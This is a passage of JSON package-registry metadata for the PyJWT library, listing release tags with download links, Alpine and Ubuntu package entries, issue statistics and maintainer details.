tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.097Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":351,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2024-12-09T13:59:53.257Z","updated_at":"2024-12-09T13:59:53.257Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25393,"maintainers_count":413,"namespaces_count":2,"keywords_count":3612,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1270},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-06-10T05:18:33.774Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":13536579,"name":"pyjwt","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T00:26:10.506Z","latest_release_published_at":"2026-02-11T00:26:10.506Z","latest_release_number":"2.6.0-1","last_synced_at":"2026-03-11T18:37:05.646Z","created_at":"2026-02-11T00:26:10.328Z","updated_at":"2026-05-29T04:00:36.119Z","registry_url":"https://launchpad.net/ubuntu/+source/pyjwt","install_command":"apt-get install pyjwt","documentation_url":null,"metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.6.1","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, python3-all, python3-cryptography, python3-exceptiongroup, python3-pytest, python3-pytest-cov, python3-pytest-runner, python3-setuptools, python3-tomli","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6e